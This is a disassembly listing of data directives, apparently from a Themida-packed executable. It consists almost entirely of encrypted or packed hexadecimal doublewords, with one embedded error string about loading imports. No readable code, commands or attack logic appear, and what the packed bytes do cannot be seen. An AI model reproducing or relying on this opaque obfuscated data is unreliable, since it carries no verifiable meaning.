dd 0CB56FFA6h, 0E25341D7h, 2D49CB50h, 8A87DE92h, 6DDAD76Eh
dd 1938A141h, 22B85914h, 0AB14C79h, 0D9808771h, 0C5750BA6h
dd 0CBA966D7h, 0F4DEB149h, 0C5A732DBh, 0BD56FD98h, 3398861Ch
dd 6E49CBA9h, 2F5F069Bh, 376AF198h, 4170F79Eh, 4B7A01A8h
dd 0A95ECFBDh, 0D6A949CBh, 16E78E35h, 50990C08h, 8D2858C6h
dd 982151F8h, 832ACB66h, 0C55B4FDAh, 7D149215h, 79034134h
dd 76E0498Fh, 640D49CBh, 93F49B36h, 105E90F8h, 0DF7985Ah
dd 4AB4013h, 139A41D4h, 0F89F46E1h, 0FF2F1927h, 0FC29D268h
dd 0C9707761h, 0B868FE99h, 0CBDF59CAh, 42D1A449h, 728B7510h
dd 295C3EC9h, 7361F798h, 49CBDF16h, 32D96E41h, 15BE6500h
dd 1200968Ah, 49CBDFB1h, 4DE81BDCh, 0D76C0DA6h, 69FC2C65h
dd 8B830BD4h, 2907F5h, 815447A3h, 751042EBh, 6C0739E0h
dd 9C941CC5h, 95305D06h, 0ADAAA2Ch, 2ECEB24h, 0C79E0CFAh
dd 58DB419Bh, 50D23B1Ah, 0DCD6C060h, 2BD46209h, 307660FFh
dd 3D9528C3h, 55607D00h, 7DCD5142h, 0F0E87093h, 99166C5Ah
dd 7A233B94h, 0C7C1AB4Ah, 9A3BDA06h, 0A93C6CF3h, 7ACE67D3h
dd 0EB6C9BEEh, 512h, 66FB9ACBh, 5FF493BFh, 5AEF8AB8h, 54E984B3h
dd 52E77AADh, 0B1E49FB7h, 0B7E48B20h, 0B0E2891Eh, 0A9D98015h
dd 3EAC790Eh, 9605DF50h, 41132A43h, 0F48A820Ah, 558A1B71h
dd 4DE68D28h, 68C8EE4h, 2C26141Ch, 4747A309h, 0BC3FCD74h
dd 850D6D0h, 84E3868h, 439C559Ah, 998737C7h, 439C5528h
dd 1C0AA073h, 439C55ABh, 0DE3923F6h, 59478E50h, 0C1951FB6h
dd 0F9000000h, 0A3F26AE7h, 0DD13B449h, 54CE2A73h, 0D17A10B3h
dd 0B22311A1h, 0FD49A34Bh, 49E2892Ah, 972E5E5Fh, 0BEB23902h
dd 37F57828h, 29C4F1E0h, 96CA4EC0h, 0F884962Dh
dd 0CDB71777h, 0A3911E87h, 0DF865949h, 0F78D2858h, 86E52674h
dd 65838803h, 0DE26F157h, 0F828B758h, 0BE6C735Dh, 305FE815h
dd 0E70AF495h, 0B94C7E60h, 0B960FD2Ah, 0FBE97F20h, 49A3EB92h
dd 5CE416BFh, 0A3EAFD6Eh, 0D4754849h, 871DF0EAh, 2C16AFDEh
dd 0C95C8C13h, 0F0E46B34h, 0EADF6C5Ah, 692A49A3h, 60F9A03Bh
dd 0DF4C18BFh, 2349A42Ah, 27AE55F0h, 49B45BFAh, 83F63600h
dd 9920EC3Ah, 94210FA5h, 0DF49A3AAh, 0C9D6770Ch, 4C000000h
dd 0F48A820Ah, 0A2CFB006h, 62F8CB47h, 0CF53C4B2h, 0D69E439Ch
dd 9CCF77E8h, 4EEFC243h, 97C44B64h, 99346009h, 9CCF54C5h
dd 0ACDE9F43h, 38D97219h, 0AF390297h, 0EE6932F3h, 8ABD26BFh
dd 9D33D45Ah, 9CE04AAFh, 0BB28543h, 391873Fh, 0ED7000BAh
dd 6250C21Dh, 439CB6F1h, 3100693Ch, 7178E10Bh, 63A5D93Ch
dd 7EC8230Dh, 0B6595D78h, 567F1Fh, 0AE30000h, 4DF68C80h
dd 0CF6A991Ah, 4EE8F28h, 0F29D0EFCh, 15E849A3h, 1BBAE76Eh
dd 0E6F30285h, 81F60D53h, 3DC79097h, 0A8C5B349h, 4549A383h
dd 8336A795h, 0AE8149A3h, 0F6A69445h, 0C6B0E788h, 8652F9CCh
dd 49A3D519h, 16E63079h, 1402988Ch, 49A355F7h, 0C83ACFA2h
dd 0EB4E7C25h, 9405B941h, 761DBEA7h, 0C2F2F3DDh, 45EE7C23h
dd 3BD47B16h, 85205051h, 0A79F27F0h, 0A0396811h, 16C0AEB6h
dd 0D147A22Bh, 1E8B57FEh, 62439BFAh, 65EC9332h, 0E885B233h
dd 0EC35A047h, 593CE222h, 0B3CC09CFh, 51FA1FB6h, 0AA9E8823h
dd 25h, 8A820A0Eh, 18406F4h, 0DCAF47A3h, 0D6719D46h, 9A07D3ECh
dd 0C7439CE1h, 41945AE4h, 9B1FB5D1h, 0E2h, 69FC2CFFh, 61FC2AD3h
dd 9D8B21BAh, 49A3F22Ch, 0A1BAA477h, 0A03D6A13h, 182B5B6h
dd 2F9037D2h, 25684B06h, 2BCC6D47h, 3ACDFD84h, 49DC0C93h
dd 0B5FBC8B4h, 35B849A3h, 0C7CE845Ch, 405EF55h, 5AC41D4h
dd 9C2454D5h, 0A3C33DAEh, 14B58849h, 1745D46Dh, 9B3CD57Ch
dd 0CBC34BF4h, 0A4594735h, 0D1A447A2h, 5EB733Ch, 0FD963DD8h
dd 94087967h, 8053439Ch, 0CB5B49DFh, 124194F5h, 0CD00A93Fh
dd 48F19F34h, 0CA65911Ah, 0FFE98A23h, 643ACBFEh, 0F07E991Eh
dd 0FFF475A4h, 0B8000001h, 0B259EE87h, 0AB52E786h, 0A64DE27Dh
dd 0A249DE77h, 0A641D66Fh, 5A0D38Eh, 19CC970h, 93C56Ch
dd 194C46Bh, 43319F6Ch, 439602D2h, 2C34061Dh, 7DF0A0F9h
dd 7EB21658h, 71A148DDh, 689740D6h, 0A38D26CDh, 820A2A9Ch
dd 8406F48Ah, 0AF47A301h, 0F7A735DCh, 0E0E85947h, 6033439Ch
dd 9CE01B8Ch, 73A56643h, 0FFA039E0h, 0E062CF15h, 0AC8F439Ch
dd 0D2795C62h, 0E0631FB5h, 0C7000000h, 4272A225h, 5036E8D6h
dd 0AD356566h, 0A3A44EBFh, 30C69949h, 0A3A4D142h, 0A8491C49h
dd 0AE477A01h, 0A06E3B07h, 23249A3h, 9D20CE63h, 1FB8C5Bh
dd 42432D3Ah, 3ECC7312h, 0E3CD6895h, 0AA4038C0h, 0A29FCEBCh
dd 0B25B0B47h, 0A33CE382h, 9C8F5ECFh, 0ECD6A943h, 0E0891FF2h
dd 0D56E15B0h, 931BE4EBh, 295C059Bh, 0C258F198h, 9C8F63D4h
dd 0F1DBAE43h, 9B8939E9h, 439C8F2Ah, 72B8A275h, 4194F4CDh
dd 761FB588h, 761DB243h, 80DCB243h, 32F07E9Ah, 0EC8203h
dd 74A50000h, 79A54CE1h, 74A249DEh, 6E9D44D9h, 64973ED3h
dd 89A13CD1h, 750A9BCEh, 6F04A1CEh, 66FB96C8h, 63F88FBFh
dd 0C93A2896h, 14439601h, 0A2252BFDh, 0D9F7AB4Fh, 0B7C2CD95h
dd 983983ECh, 0C7FAFBE5h, 0C2F2992Eh, 2C1C8E23h, 3BC269FCh
dd 29D76C0Bh, 99C75080h, 2FB65DFEh, 26BF6601h, 0F0789B85h
dd 177462F8h, 4247988Ch, 1141C86Fh, 0A3AE176h, 2CD56Bh
dd 4230BE65h, 43960CD1h, 0BEA8491Ch, 23DCD9A5h, 83C30384h
dd 0F374E5D3h, 0C3B1031Fh, 31FF352h, 6F42CA9Dh, 0F37AEBD9h
dd 0F2C5031Fh, 0B563AD08h, 0B65DF285h, 0BA48EF86h, 0F3AB1C0Ah
dd 23F6031Fh, 70093839h, 751042C9h, 801747CEh, 832252D9h
dd 120711CAh, 1FF3B324h, 8A2BFE03h, 0D640CE17h, 0F75347A6h
dd 817A4DB3h, 74A44BE0h, 3B93AE1h, 2F000000h, 0FB2C7C5Eh
dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h
dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 13ACh, 89240C89h
dd 4C181E1h, 83000000h, 0C8704E9h, 4B685C24h, 8900005Dh
dd 8952242Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 240C895Ch
dd 0E65FBE56h, 0F589060Dh, 8324348Bh, 8B5404C4h, 0C483240Ch
dd 6A076804h, 2C890000h, 8418F24h, 592434FFh, 4C481h, 34FF0000h
dd 0C4815D24h, 4, 0F98A7EE9h, 68D751FFh, 14C60E9Bh, 0E8E86579h
dd 0CFAD9215h, 0DF298B8h, 0FFC50306h, 2A8E3AE0h, 0A6DC7B52h
dd 0D6ED2778h, 89C88641h, 5909B45h, 18567C7Dh, 0AB6A473Eh
dd 95EB454Dh, 731D97Dh, 0CE95B13Bh, 6601AD2Bh, 0C38CAC1Ah
dd 83FE4302h, 55EECC1Fh, 0C5B1AC12h, 9E4DF043h, 97747D08h
dd 0BE52C248h, 0DD4D720Dh, 59DF9011h, 398D8D2Eh, 6A060DF4h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0B0DCC351h, 5C374A2h, 8D89AC65h, 6070345h
dd 1AD98D89h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0C73252C3h, 7101D85h, 635C06h, 0C7816600h
dd 85C793B2h, 6073305h, 0
dd 820Fh, 0B5FF0000h, 6070469h, 0E852006Ah
db 3
byte_5ABBA9 db 3 dup(0) ; DATA XREF: Themida_:0053DB80o
dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 96C35242h, 532820BAh
dd 0ADCDA452h, 0FFD38B66h, 7185995h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B70F09EEh
dd 0FF006AF9h, 70D6995h
dword_5ABBF8 dd 0EBC08B06h, 37446948h, 7342D2A3h, 6FEF9FF8h, 0A81B18CEh
; DATA XREF: Themida_:0053CB04o
dd 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 0FAA90101h, 0BFFCF2A1h
dd 0E42026B4h, 5E22AB32h, 3E40FC8h, 706143EFh, 369C88D6h
dd 89128E11h, 86397E61h, 0D574DC35h, 0D8DD1330h, 127E94Ah
dd 5B500000h, 0EFAC7376h, 154Eh, 6E410000h, 72724520h
dd 6820726Fh, 6F207361h, 72727563h, 77206465h, 656C6968h
dd 616F6C20h, 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h
dd 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h
dd 777h, 5 dup(0)
dd 0E7A5FD00h, 77h, 2Bh dup(0)
dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 127CEF8Fh, 1C131134h
dd 45335B1h, 61664235h, 9E35722Bh, 1177A9F2h, 90EF8832h
dd 13615B4Fh, 0B8A6BFBFh, 0C699173Bh, 0A8E5D069h, 13615507h
dd 45715632h, 1177A961h, 90EF8832h, 13615B4Fh, 0BFC9BFBFh
dd 0C699173Bh, 0D5EDD069h, 0E1BCF9B1h, 1A66243Fh, 156601B6h
dd 0CCE30532h, 0EA6049EEh, 1CE3AFE2h, 0EA601CEFh, 0D8E34EE2h
dd 4360433Bh, 0BDDE705Ah, 8CD3EEAEh, 98608F3Fh, 1F167CB7h
dd 9CB6DD34h, 126320B7h, 0BFE30534h, 456049C7h, 0E1EDA7BFh
dd 0EA36173Fh, 126749A7h, 0F4E38334h, 1560253Ch, 0D3661132h
dd 126F45B7h, 7C0E0134h, 0EAE8505Bh, 12638C87h, 76E30534h
dd 0EA60430Bh, 0A8E3ABE2h, 0D360163Bh, 126F45B7h, 4B0E0734h
dd 0EAFA4559h, 12638C87h, 76E30534h, 0EA60430Bh, 0D7E3ABE2h
dd 0D3601CC6h, 126F45B7h, 3C0E1034h, 0EA88405Ah, 12638C87h
dd 76E30534h, 0EA60430Bh, 0D3E3ABE2h, 0D3601CC6h, 126F45B7h
dd 0D70E0134h, 0EABC420Ah, 12638C87h, 76E30534h, 0EA60430Bh
dd 0DFE3ABE2h, 96601CC6h, 127F358Fh, 90694434h, 15662277h
dd 1CAB94F4h, 7D238E35h, 0EF463AB4h, 10FB97CDh, 90EB1735h
dd 1361B151h, 90EF94CDh, 136BD6FCh, 1CAB94F4h, 7D2A8E35h
dd 0F54094F1h, 10FB97CDh, 90EB1735h, 1361B151h, 90EF94CDh
dd 136BD6E0h, 156651DBh, 0D8E34E32h, 4760433Bh, 5F822F5Ah
dd 0E8D3EE8Eh, 98608F2Dh, 125F27B7h, 9CB6DD34h, 1892DFB7h
dd 0D8E34E34h, 4760433Bh, 592C6A5Ah, 0E8D3EE94h, 98608F2Dh
dd 125F27B7h, 9CB6DD34h, 1892C3B7h, 0D8E34E34h, 4760433Bh
dd 57D2C85Ah, 88D3EECFh, 98608F37h, 125F27B7h, 9CB6DD34h
dd 126CBCB7h, 0D8E34E34h, 6260433Bh, 82CE815Ah, 90D3EEC1h
dd 98608F22h, 125F27B7h, 9CB6DD34h, 126884B7h, 0D8E34E34h
dd 4760433Bh, 0C857355Ah, 88D3EEB8h, 98608F37h, 125F27B7h
dd 9CB6DD34h, 124F60B7h, 0D8E34E34h, 4360433Bh, 0A0B1B5Ah
dd 8CD3EEE6h, 98608F3Fh, 1F167CB7h, 9CB6DD34h, 124DF4B7h
dd 0D8E34E34h, 5260433Bh, 0C976585Ah, 88D3EEB3h, 98608F37h
dd 125F27B7h, 9CB6DD34h, 124B30B7h, 0D8E34E34h, 5260433Bh
dd 1AD3C05Ah, 88D3EEB8h, 98608F37h, 125F27B7h, 9CB6DD34h
dd 1892E3B7h, 0A0DB0B34h, 15604310h, 1337A63Dh, 90A01132h
dd 136181FFh, 98F2C7Eh, 0A099FBE8h, 136114AFh, 2C050DBFh
dd 0C5994235h, 0E1B8A7BBh, 90A0173Fh, 136181FFh, 0CBA82C7Eh
dd 0A099FF46h, 136114AFh, 2C050DBFh, 0C5994235h, 0E184A7BBh
dd 90A0173Fh, 136181FFh, 97592C7Eh, 0A09995B3h, 136114AFh
dd 2C050DBFh, 0C5994235h, 0E180A7BBh, 90A0173Fh, 136181FFh
dd 557E2C7Eh, 0A099911Dh, 136114AFh, 2C050DBFh, 0C5994235h
dd 0E180A7BBh, 90A0173Fh, 136181FFh, 13722C74h, 0A09998ECh
dd 136114AFh, 2C050DBFh, 0C5994235h, 0E188A7BBh, 90A0173Fh
dd 136181FFh, 51C2C75h, 0A099A3EEh, 136114AFh, 2C050DBFh
dd 0C5994235h, 0E190A7BBh, 90A0173Fh, 136181FFh, 9BCA2C75h
dd 0A099CDB5h, 136114AFh, 2C050DBFh, 0C5994235h, 0E19CA7BBh
dd 90A0173Fh, 136181FFh, 0B2B42C75h, 0A099F6A8h, 136114AFh
dd 2C050DBFh, 0C5994235h, 0E198A7BBh, 90A0173Fh, 136181FFh
dd 2C622C75h, 0A09998F3h, 136114AFh, 2C050DBFh, 0C5994235h
dd 0E064A7BBh, 0A8E5173Fh, 13619723h, 0D3463132h, 126FEFB7h
dd 720E5634h, 0EA86FA1Fh, 1263D987h, 76E3AF34h, 0EA60160Bh
dd 13E301E2h, 0D36049C7h, 126FEFB7h, 0A40E5634h, 0EAE8A181h
dd 1263D987h, 76E3AF34h, 0EA60160Bh, 1FE301E2h, 0D36049C7h
dd 126FEFB7h, 0B20E5234h, 0EAA6FE78h, 1263D987h, 76E3AF34h
dd 0EA60160Bh, 1BE301E2h, 0D36049C7h, 126FEFB7h, 0FE0E5D34h
dd 0EA9DEE5Eh, 1276C187h, 76E3AF34h, 0EA60160Bh, 0B7E301E2h
dd 0D36049C7h, 126FEFB7h, 400E5534h, 0EADDFBBCh, 1263D987h
dd 76E3AF34h, 0EA60160Bh, 7E301E2h, 0D36049C7h, 126FEFB7h
dd 0E90E5234h, 0EADA065Ch, 1263D987h, 76E3AF34h, 0EA60160Bh
dd 3E301E2h, 0D36049C7h, 126FEFB7h, 0BF0E4234h, 0EAA0980Ch
dd 1263D987h, 76E3AF34h, 0EA60160Bh, 0FE301E2h, 966049C7h
dd 12651B8Fh, 91691134h, 156688D2h, 1CABC1F4h, 7D202435h
dd 0EFF0DF03h, 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh
dd 136B7D44h, 1CABC1F4h, 7D202435h, 0E9C12BE4h, 10FB3DCDh
dd 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DB4h, 1CABC1F4h
dd 7D202435h, 879AB532h, 10FB3DCDh, 90EB4235h, 13611B51h
dd 90EFC1CDh, 136B7DB8h, 1CABC1F4h, 7D202435h, 0E3B25E58h
dd 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DBCh
dd 1CABC1F4h, 7D202435h, 81AB41D5h, 10FB3DCDh, 90EB4235h
dd 13611B51h, 90EFC1CDh, 136B7D48h, 1CABC1F4h, 7D202435h
dd 0A4446509h, 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh
dd 136B7D4Ch, 1CABC1F4h, 7D202435h, 0CA1FFBDFh, 10FB3DCDh
dd 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DB0h, 0A77F9B1h
dd 60662435h, 0D8E3D712h, 46608F3Bh, 0AB861A5Ah, 88D3DDFCh
dd 98601637h, 125FEBB7h, 9CB6BB34h, 18933CB7h, 0D8E3D734h
dd 52608F3Bh, 0A438C35Ah, 88D3DDF5h, 98601637h, 125FEBB7h
dd 9CB6BB34h, 189300B7h, 4DB9234h, 15608F2Dh, 90A06447h
dd 13612BFFh, 6B637975h, 0A0996E50h, 136141AFh, 2C05A7BFh
dd 0C5991735h, 0E0400DBBh, 90A0423Fh, 13612BFFh, 1C907971h
dd 0A0991A48h, 136141AFh, 2C05A7BFh, 0C5991735h, 0E04C0DBBh
dd 90A0423Fh, 13612BFFh, 82467971h, 0A0997413h, 136141AFh
dd 2C05A7BFh, 0C5991735h, 0E0480DBBh, 0A8E5423Fh, 13613D23h
dd 0D3266432h, 126F45B7h, 160E0734h, 0EAED229Ah, 12638C87h
dd 76E30534h, 0EA60430Bh, 23E3ABE2h, 0D3601CC7h, 126F45B7h
dd 0C00E0734h, 0EA837904h, 12638C87h, 76E30534h, 0EA60430Bh
dd 27E3ABE2h, 0D3601CC7h, 126F45B7h, 0F40E0734h, 0EA8C8800h
dd 12638C87h, 76E30534h, 0EA60430Bh, 2FE3ABE2h, 0D3601CC7h
dd 126F45B7h, 220E0734h, 0EAE2D39Eh, 12638C87h, 76E30534h
dd 0EA60430Bh, 2BE3ABE2h, 0D3601CC7h, 126F45B7h, 0C10E0B34h
dd 0EAF117A2h, 12638C87h, 76E30534h, 0EA60430Bh, 57E3ABE2h
dd 0D3601CC7h, 126F45B7h, 170E0B34h, 0EA9F4C3Ch, 12638C87h
dd 76E30534h, 0EA60430Bh, 53E3ABE2h, 0D3601CC7h, 126F45B7h
dd 5C0E0934h, 0EAAE154Bh, 12638C87h, 76E30534h, 0EA60430Bh
dd 5BE3ABE2h, 0D3601CC7h, 126F45B7h, 9C0E0934h, 0EABAD57Fh
dd 12638C87h, 76E30534h, 0EA60430Bh, 5FE3ABE2h, 0D3601CC7h
dd 126F45B7h, 220E1134h, 0EAFA391Fh, 12638C87h, 76E30534h
dd 0EA60430Bh, 47E3ABE2h, 0D3601CC7h, 126F45B7h, 3F0E0734h
dd 0EAB4F7C2h, 12638C87h, 76E30534h, 0EA60430Bh, 43E3ABE2h
dd 0D3601CC7h, 126F45B7h, 0FF0E1634h, 0EA9B6086h, 12638C87h
dd 76E30534h, 0EA60430Bh, 0B8E3ABE2h, 0D3601638h, 126F45B7h
dd 8C0E0334h, 0EA84BA6Bh, 12638C87h, 76E30534h, 0EA60430Bh
dd 4FE3ABE2h, 0D3601CC7h, 126F45B7h, 0D70E0334h, 0EAD7DF52h
dd 12638C87h, 76E30534h, 0EA60430Bh, 4BE3ABE2h, 0D3601CC7h
dd 126F45B7h, 10E0334h, 0EAB984CCh, 12638C87h, 76E30534h
dd 0EA60430Bh
dd 77E3ABE2h, 0D3601CC7h, 126F45B7h, 7D0E1B34h, 0EAF872C0h
dd 12638C87h, 76E30534h, 0EA60430Bh, 73E3ABE2h, 0D3601CC7h
dd 126F45B7h, 2A0E0B34h, 0EAA1DE49h, 12638C87h, 76E30534h
dd 0EA60430Bh, 87E3ABE2h, 0D3601CC7h, 126F45B7h, 590E0334h
dd 0EA9C795Ch, 12638C87h, 76E30534h, 0EA60430Bh, 83E3ABE2h
dd 0D3601CC7h, 126F45B7h, 0D80E0334h, 0EAA52416h, 12638C87h
dd 76E30534h, 0EA60430Bh, 8FE3ABE2h, 0D3601CC7h, 126F45B7h
dd 0D90E1B34h, 0EAB29952h, 12638C87h, 76E30534h, 0EA60430Bh
dd 7FE3ABE2h, 0D3601CC7h, 126F45B7h, 5B0E1B34h, 0EAF8CB66h
dd 12638C87h, 76E30534h, 0EA60430Bh, 7BE3ABE2h, 0D3601CC7h
dd 126F45B7h, 5D0E1B34h, 0EAB7311Ah, 12638C87h, 76E30534h
dd 0EA60430Bh, 67E3ABE2h, 7F601CC7h, 566E036h, 150E4432h
dd 7F662222h, 24F3EE32h, 9C608F37h, 1274E9B7h, 24E3AF34h
dd 0EA601CEFh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h
dd 1263B9A7h, 0C8E3CD34h, 9C602520h, 12611CB7h, 7D26E234h
dd 15665432h, 1466225Ah, 0EA667B32h, 1263B9A7h, 0B8E3CD34h
dd 9E60251Ah, 1246E487h, 54FB0334h, 9C604332h, 12779387h
dd 50FB9834h, 9E608F3Fh, 126605AFh, 966DA934h, 916911CBh
dd 156682EDh, 26061562h, 0CE3ABF2h, 0AB601601h, 1566880Eh
dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
dd 15479FBBh, 0EAE31735h, 156C0D3Dh, 1B8E4432h, 0FC662223h
dd 156611A3h, 7EB10363h, 80EF40E0h, 13613FAFh, 150E1558h
dd 47668822h, 80994458h, 13612703h, 382B94BBh, 0C5ED8E35h
dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1274E98Fh, 0EAAFA134h
dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh
dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0CE3EE60h, 9E608F01h
dd 12555DA7h, 34F31B34h, 1A601632h, 156682B6h, 96381E32h
dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 13ABC1F5h, 15662435h
dd 90A11132h, 13618DA7h, 15664432h, 0E1BC9FB1h, 1A66173Fh
dd 156680B6h, 0F9FBC932h, 0EA602F6Bh, 88E3EEE1h, 96608F23h
dd 1277D98Fh, 97694634h, 15661150h, 4FB0DF5h, 15674235h
dd 98062232h, 1893A387h, 8DB0534h, 3E604A20h, 9EB1A9CCh
dd 1274BC8Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h
dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 13618333h
dd 1571C03Dh, 0A8E52232h, 13612207h, 1FE38732h, 0D2664432h
dd 1268C3B7h, 15661034h, 0F8DFE932h, 0AF417EF0h, 160DE515h
dd 0A4D3989Fh, 0D2608F23h, 1566B874h, 0FB5B2232h, 1A88FFDCh
dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h
dd 96664432h, 0A0EF26F4h, 13610083h, 156E71DBh, 26BECF32h
dd 1268C3B7h, 16AED034h, 0D5A74A19h, 9CA77722h, 1268C3AFh
dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h
dd 1566880Bh, 156642F5h, 0D3E52232h, 0A4D39836h, 9E608F23h
dd 126605AFh, 9E6DA934h, 0D7ED71E2h, 1F570D19h, 0F5A74235h
dd 30E32130h, 83601612h, 9CA78B9Fh, 747A6076h, 15665EDBh
dd 26344032h, 58F303FBh, 2E60431Fh, 2DE22D30h, 96661132h
dd 2E278CF0h, 126665BFh, 0FDE32D34h, 9899EECDh, 18921F87h
dd 0B8DBC934h, 0B9602511h, 9169D1B6h, 15668834h, 0EA97AD98h
dd 15DEDDCDh, 98661132h, 122D13BFh, 9C87BB34h, 12553BBFh
dd 433F4B34h, 152715B9h, 1EED4235h, 267FA7B9h, 0F5B71735h
dd 36270D31h, 0E3554235h, 0D4CB44A4h, 906513D2h, 1361A817h
dd 0D465E9A4h, 60DBA16Ch, 1460161Eh, 155F0C3Dh, 985D4432h
dd 136127AFh, 154B953Dh, 985D8832h, 136154B7h, 1547A63Dh
dd 985D1132h, 1361A1D7h, 1573C03Dh, 88EB2232h, 136818C7h
dd 0EDED5BCDh, 3D43C1BBh, 0A18F2435h, 98661134h, 1B6F7DAFh
dd 96B5BB34h, 124A578Fh, 91691134h, 1566882Fh, 188FC109h
dd 91692435h, 1566113Eh, 19AF0D09h, 90694235h, 15662237h
dd 0EA99A8DBh, 0A8E3B3CDh, 1A60433Bh, 15663AB7h, 0A8DB9232h
dd 15608F2Bh, 156DC13Dh, 90EB2232h, 136BA89Eh, 0EA991DDBh
dd 0A8E37FCDh, 1A60253Bh, 0EA9998B6h, 86DB0BCDh, 146049C6h
dd 1571A73Dh, 905D1132h, 136B7CC0h, 156DC13Dh, 90EB2232h
dd 153EF792h, 0EA99E5DBh, 969977CDh, 1244978Fh, 91691134h
dd 15668B55h, 0E1B8C109h, 1213243Fh, 0E5794B9h, 2E218E35h
dd 1892A2B7h, 9E615734h, 127BA8B7h, 905DCF34h, 136BB0D0h
dd 90ED2547h, 13611107h, 0FFE3B375h, 606049C6h, 24E3A935h
dd 52601602h, 0E1880D09h, 1213423Fh, 174BA7B9h, 2E211735h
dd 18927AB7h, 9E613134h, 1245B7B7h, 905D5634h, 136B7CC4h
dd 90ED4347h, 13612BD7h, 0EFE32A75h, 606085C6h, 7CE3CF35h
dd 5260252Ah, 0E1989409h, 12138E3Fh, 1F6BC1B9h, 2E212435h
dd 189313B7h, 9E61FD34h, 124E91B7h, 905D6534h, 136BE438h
dd 90ED8F47h, 13616D53h, 13E31975h, 60601CC7h, 4DB0B22h
dd 1560432Dh, 90ED2547h, 13611787h, 18DB0B75h, 15604311h
dd 905D2D46h, 136BE4A0h, 90ED8F47h, 13615467h, 2CDBA175h
dd 15601631h, 0A8E5FA46h, 13616CDBh, 2E0F5632h, 189367B7h
dd 9E61FD34h, 126845B7h, 905D6534h, 136BE4B4h, 90ED8F47h
dd 13616793h, 6FE31975h, 60601CC7h, 0C4E30335h, 52604313h
dd 0E0ECA709h, 1213173Fh, 33270DB9h, 2E214235h, 1893ACB7h
dd 9E616434h, 12749DB7h, 905D0334h, 136BD74Ch, 90ED1647h
dd 1361A11Bh, 97E37F75h, 60602FC7h, 9CE39A35h, 52608F23h
dd 3D8FF9B1h, 1A662435h, 15641BB6h, 1BE3B332h, 606049C7h
dd 0CCE3A935h, 5260163Dh, 0E0C40D09h, 1213423Fh, 3F6BA7B9h
dd 2E211735h, 18939AB7h, 9E613134h, 124E0FB7h, 905D5634h
dd 136B7D24h, 90ED4347h, 136120BFh, 0FE32A75h, 606085C7h
dd 34E3CF35h, 5260251Bh, 0E0789409h, 5138E3Fh, 0A77F9B1h
dd 60662435h, 0E8E39A35h, 52608F1Ch, 0E044C109h, 1213243Fh
dd 4A794B9h, 2E218E35h, 189362B7h, 96765734h, 1279008Fh
dd 12138834h, 0F6FC1B9h, 2E212435h, 18933BB7h, 9E61FD34h
dd 124019B7h, 905D6534h, 136BE41Ch, 90ED8F47h, 1361675Bh
dd 23E31975h, 60601CC7h, 4DB0B22h, 1560432Dh, 90ED2547h
dd 13610173h, 27E3B375h, 606049C7h, 4DBA122h, 1560162Dh
dd 90ED8F47h, 136149BFh, 2FE31975h, 60601CC7h, 38E30335h
dd 5260433Ah, 0E058A709h, 1213173Fh, 309F0DB9h, 2E214235h
dd 189360B7h, 9E616434h, 1244C5B7h, 905D0334h, 136BD774h
dd 90ED1647h, 13618C07h, 5FE37F75h, 60602FC7h, 0ACE39A35h
dd 52608F30h, 0E028C109h, 1213243Fh, 253794B9h, 2E218E35h
dd 189316B7h, 9E615734h, 124974B7h, 905DCF34h, 136BB164h
dd 90ED2547h, 13611D9Fh, 0B8E3B375h, 60604338h, 7CE3A935h
dd 52601635h, 0E03C0D09h, 1213423Fh, 175BA7B9h, 2E211735h
dd 18931EB7h, 967F3134h, 1893BC8Fh, 1C131134h, 391335B1h
dd 61664235h, 8E3A935h, 5260163Ch, 0E0FC0D09h, 0C13423Fh
dd 0E0F89FB1h, 6066173Fh, 60DB0B3Bh, 1560431Eh, 90ED2546h
dd 1361007Bh, 4BE3B375h, 606049C7h, 58E3A935h, 5260162Dh
dd 0E0040D09h, 1213423Fh
dd 17C7A7B9h, 2E211735h, 1893EEB7h, 9E613134h, 1275C7B7h
dd 905D5634h, 136B7D58h, 90ED4347h, 13612F0Bh, 7BE32A75h
dd 606085C7h, 78E3CF35h, 52602539h, 0E0149409h, 12138E3Fh
dd 1ABFC1B9h, 1E212435h, 10E21ECDh, 0FC668832h, 0EA99BFD8h
dd 1BF3A709h, 90691735h, 15668839h, 835AC1BFh, 0C68F243Fh
dd 2E99EEC9h, 124FF9B7h, 0DE34B34h, 96662232h, 1892828Fh
dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
dd 18928AB7h, 19E22D34h, 2E661132h, 18925AB7h, 10E34B34h
dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
dd 905D1132h, 136B7CF0h, 156DC13Dh, 90EB2232h, 153E73D6h
dd 0EA9DE5DBh, 0D3E37FCDh, 1A602FC6h, 15661AB7h, 4FE30532h
dd 0FC661C51h, 0EA99D964h, 0E1AC9409h, 90698E3Fh, 15664439h
